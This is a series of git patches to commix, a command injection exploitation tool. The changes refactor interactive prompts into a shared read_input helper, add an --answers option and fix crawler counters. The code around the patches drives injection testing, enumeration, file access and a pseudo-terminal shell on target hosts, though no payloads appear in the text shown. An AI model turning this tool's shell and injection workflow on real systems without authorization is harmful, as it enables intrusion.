settings.CRAWLED_SKIPPED_URLS_NUM != 0) or \ + not settings.CRAWLING: + print(settings.SINGLE_WHITESPACE) + if settings.UNAUTHORIZED_ERROR in str(err_msg): + settings.UNAUTHORIZED = unauthorized = True + if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: + break + except (SocketError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + if not settings.MULTI_TARGETS and not settings.CRAWLING: + pass + else: + checks.connection_exceptions(err_msg, url=request) + break + try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) code = response.getcode() @@ -221,7 +225,7 @@ def https_open(self, req): not settings.IS_XML and \ not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ not str(err.code) == settings.BAD_REQUEST and \ - not settings.CRAWLED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0: + not settings.CRAWLED_URLS_NUM != 0) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index e3a5612766..5dbf50cb21 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -66,7 +66,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: while True: if not menu.options.batch and not settings.FOLLOW_REDIRECT: - if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0: + if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" question_msg += "Do you want to follow the identified redirection? [Y/n] > " @@ -90,7 +90,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: if settings.VALID_URL: - checks.connection_exceptions(err_msg, url) + checks.connection_exceptions(err_msg, request) else: pass diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 81fd2a2d7c..470d8e704d 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -29,11 +29,16 @@ from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup -sitemap_loc = [] -visited_hrefs = [] -crawled_hrefs = [] -new_crawled_hrefs = [] +def init_global_vars(): + global crawled_hrefs + crawled_hrefs = [] + global sitemap_loc + sitemap_loc = [] + global visited_hrefs + visited_hrefs = [] + global new_crawled_hrefs + new_crawled_hrefs = [] """ Change the crawling depth level. @@ -183,6 +188,8 @@ def sitemap(url): Store the identified (valid) hrefs. """ def store_hrefs(href, identified_hrefs, redirection): + set(crawled_hrefs) + set(new_crawled_hrefs) if href not in crawled_hrefs: if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: new_crawled_hrefs.append(href) @@ -212,9 +219,9 @@ def request(url): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) - settings.CRAWLED_SKIPPED_URLS += 1 + settings.CRAWLED_SKIPPED_URLS_NUM += 1 if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS: - if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0: + if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) checks.connection_exceptions(err_msg, url) if settings.VERBOSITY_LEVEL >= 2: @@ -273,11 +280,15 @@ def check_sitemap(): print(settings.print_error_msg(err_msg)) pass +""" +Check if no usable links found. +""" def no_usable_links(crawled_hrefs): if len(crawled_hrefs) == 0: - warn_msg = "No usable links found." + warn_msg = "No usable links found (with GET parameters)." print(settings.print_warning_msg(warn_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS: + raise SystemExit() """ The crawing process. @@ -287,7 +298,7 @@ def do_process(url): if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) else: - if settings.CRAWLED_SKIPPED_URLS == 0: + if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: sys.stdout.write("\r") # Grab the crawled hrefs. try: @@ -302,7 +313,6 @@ def do_process(url): tags = [] tags += re.finditer(r'(?i)\s(href|src)=["\'](?P[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P[^)"\']+)["\']', content) - for tag in tags: href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href") if href: @@ -328,6 +338,7 @@ def do_process(url): The main crawler. """ def crawler(url, url_num, crawling_list): + init_global_vars() if crawling_list > 1: _ = " (" + str(url_num) + "/" + str(crawling_list) + ")" else: @@ -349,28 +360,34 @@ def crawler(url, url_num, crawling_list): info_msg = "Searching for usable " info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." print(settings.print_info_msg(info_msg)) - if settings.DEFAULT_CRAWLING_DEPTH != 1: + if settings.DEFAULT_CRAWLING_DEPTH == 2: output_href = new_crawled_hrefs + elif settings.DEFAULT_CRAWLING_DEPTH > 2: + output_href = new_crawled_hrefs + crawled_hrefs + try: + [output_href.remove(x) for x in visited_hrefs if x in output_href] + except TypeError: + pass link = 0 if output_href is not None: for url in output_href: if url not in visited_hrefs: link += 1 - settings.CRAWLED_URLS = link + settings.CRAWLED_URLS_NUM = link visited_hrefs.append(url) do_process(url) info_msg = str(link) info_msg += "/" + str(len(output_href)) + " links visited." sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL > 1: print(settings.SINGLE_WHITESPACE) if link != 0: print(settings.SINGLE_WHITESPACE) settings.DEFAULT_CRAWLING_DEPTH += 1 output_href = crawled_hrefs - no_usable_links(crawled_hrefs) + no_usable_links(output_href) return output_href # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 2f587a5d43..bc5787c777 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "59" +REVISION = "60" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1132,8 +1132,8 @@ def sys_argv_errors(): # Crawling state CRAWLING = False -CRAWLED_SKIPPED_URLS = 0 -CRAWLED_URLS = 0 +CRAWLED_SKIPPED_URLS_NUM = 0 +CRAWLED_URLS_NUM = 0 # Skipped crawled hrefs HREF_SKIPPED = [] From 09e9bea93d8ebcb03322317a338c0d1c6b616602 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 May 2022 09:14:48 +0300 Subject: [PATCH 0137/1023] Fixes https://github.com/commixproject/commix/issues/497, fixes https://github.com/commixproject/commix/issues/769, added a new option `--answers` to set user answers to asked questions during commix run --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 52 ++++---------- src/core/injections/controller/checks.py | 13 ++-- src/core/injections/controller/controller.py | 49 +++++-------- .../techniques/classic/cb_handler.py | 35 +++------ .../techniques/eval_based/eb_handler.py | 34 +++------ .../techniques/file_based/fb_handler.py | 53 ++++---------- .../techniques/file_based/fb_injector.py | 12 ++-- .../techniques/tempfile_based/tfb_handler.py | 41 +++-------- src/core/main.py | 22 +++--- .../dns_exfiltration/dns_exfiltration.py | 11 +-- .../icmp_exfiltration/icmp_exfiltration.py | 13 ++-- src/core/modules/shellshock/shellshock.py | 33 +++------ src/core/requests/authentication.py | 18 ++--- src/core/requests/redirection.py | 15 ++-- src/core/requests/requests.py | 28 +++----- src/core/shells/bind_tcp.py | 61 ++++++---------- src/core/shells/reverse_tcp.py | 61 ++++++---------- src/utils/common.py | 66 ++++++++++++++--- src/utils/crawler.py | 71 +++++-------------- src/utils/install.py | 9 +-- src/utils/menu.py | 9 ++- src/utils/session_handler.py | 22 +++--- src/utils/settings.py | 10 ++- src/utils/update.py | 27 +++---- 25 files changed, 282 insertions(+), 484 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e4f15ae11f..8699acf397 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: New option `--answers` to set user answers to asked questions during commix run. * Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for normalizing crawling results. * Revised: Improvement regarding crawler. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index e58bd3fbfb..4dc27cb427 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -21,6 +21,7 @@ from src.utils import menu from src.utils import logs from src.utils import settings +from src.utils import common from src.core.compat import xrange from src.utils import session_handler from src.core.requests import headers @@ -217,13 +218,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False @@ -420,13 +416,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) @@ -449,13 +440,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.FILE_ACCESS_DONE == True: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break @@ -487,17 +473,10 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r go_back_again = False while True: if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" + break + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -511,7 +490,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -594,13 +573,8 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, while True: if go_back == True: return False - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d4b075f8a1..26da81b9f5 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -27,9 +27,9 @@ import gzip import zlib import traceback +from src.utils import common from src.utils import logs from src.utils import menu -from src.utils import common from src.utils import settings from src.utils import simple_http_server from src.thirdparty.odict import OrderedDict @@ -422,8 +422,8 @@ def check_injection_level(): """ def next_attack_vector(technique, go_back): while True: - message = "Continue with testing the " + technique + "? [Y/n] > " - next_attack_vector = common.read_input(message, default="Y", check_batch=True) + message = "Continue with testing the " + technique + "? [y/N] > " + next_attack_vector = common.read_input(message, default="N", check_batch=True) if next_attack_vector in settings.CHOICE_YES: # Check injection state assessment_phase() @@ -1498,7 +1498,7 @@ def process_json_data(): info_msg = "JSON data found in POST data." message = info_msg message += " Do you want to process it? [Y/n] > " - json_process = common.read_input(message, default="Y", check_batch=True) + json_process = common.read_input(message, default="Y", check_batch=True) if json_process in settings.CHOICE_YES: settings.IS_JSON = True break @@ -1574,8 +1574,9 @@ def file_upload(): # Check if not defined URL for upload. while True: message = "Do you want to enable an HTTP server? [Y/n] > " - enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) + enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) if enable_HTTP_server in settings.CHOICE_YES: + # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exist." @@ -1654,7 +1655,7 @@ def define_py_working_dir(): while True: message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python working directory on the target host? [Y/n] > " - python_dir = common.read_input(message, default="Y" , check_batch=True) + python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 1c0894548e..80acffdf25 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -19,6 +19,7 @@ from src.utils import menu from src.utils import logs from src.utils import settings +from src.utils import common from src.utils import session_handler from src.core.requests import headers from src.core.requests import requests @@ -204,15 +205,10 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: if (len(menu.options.tech) == 0 or "e" in menu.options.tech): while True: - if not menu.options.batch: - settings.CLASSIC_STATE = True - question_msg = "Skipping of code injection tests is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if len(procced_option) == 0: - procced_option = "Y" + settings.CLASSIC_STATE = True + message = "Skipping of code injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_CODE_INJECTIONS = True break @@ -240,15 +236,10 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: while True: - if not menu.options.batch: - settings.EVAL_BASED_STATE = True - question_msg = "Skipping of further command injection checks is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if len(procced_option) == 0: - procced_option = "Y" + settings.EVAL_BASED_STATE = True + message = "Skipping of further command injection checks is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True break @@ -383,13 +374,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: while True: - if not menu.options.batch: - question_msg = "Skipping of further command injection tests is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: + message = "Skipping of further command injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True break @@ -815,14 +803,9 @@ def do_check(url, http_request_method, filename): scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: while True: - if not menu.options.batch: - question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) - question_msg += "' in order to perform more tests? [Y/n] > " - next_level = _input(settings.print_question_msg(question_msg)) - else: - next_level = "" - if len(next_level) == 0: - next_level = "Y" + message = "Do you want to increase to '--level=" + str(scan_level + 1) + message += "' in order to perform more tests? [Y/n] > " + next_level = common.read_input(message, default="Y", check_batch=True) if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index cefc4f577c..a5142b36cc 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -24,6 +24,7 @@ from src.utils import menu from src.utils import logs from src.utils import settings +from src.utils import common from src.utils import session_handler from src.thirdparty.colorama import Fore, Back, Style, init from src.core.shells import reverse_tcp @@ -290,16 +291,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - #print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False @@ -322,13 +317,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.ENUMERATION_DONE != True: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break @@ -358,16 +348,9 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -376,7 +359,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -414,7 +397,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 4bfa672b56..dd77d4b545 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -24,6 +24,7 @@ from src.utils import menu from src.utils import logs from src.utils import settings +from src.utils import common from src.utils import session_handler from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import headers @@ -301,13 +302,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # print(settings.SINGLE_WHITESPACE) @@ -333,13 +329,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.ENUMERATION_DONE != True: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break @@ -369,16 +360,9 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -387,7 +371,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -421,7 +405,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index da715e3a0a..531fffa7c2 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -25,6 +25,7 @@ from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters +from src.utils import common from src.core.injections.controller import checks from src.core.injections.controller import shell_options from src.thirdparty.six.moves import input as _input @@ -77,9 +78,9 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www" - question_msg = "Please provide the host's root directory (e.g. '" - question_msg += example_root_dir + "') > " - settings.WEB_ROOT = _input(settings.print_question_msg(question_msg)) + message = "Please provide the host's root directory (e.g. '" + message += example_root_dir + "') > " + settings.WEB_ROOT = common.read_input(message, default=None, check_batch=True) if settings.WEB_ROOT.endswith(("\\", "/")): settings.WEB_ROOT = settings.WEB_ROOT[:-1] if len(settings.WEB_ROOT) == 0: @@ -368,13 +369,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " - tmp_upload = _input(settings.print_question_msg(question_msg)) - else: - tmp_upload = "" - if len(tmp_upload) == 0: - tmp_upload = "Y" + message = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " + tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True @@ -525,13 +521,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r new_line = True if settings.ENUMERATION_DONE == True : while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print(settings.SINGLE_WHITESPACE) @@ -560,13 +551,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.ENUMERATION_DONE != True: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again= "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) break @@ -600,23 +586,14 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r go_back_again = False while True: # Delete previous shell (text) files (output) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -624,10 +601,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = 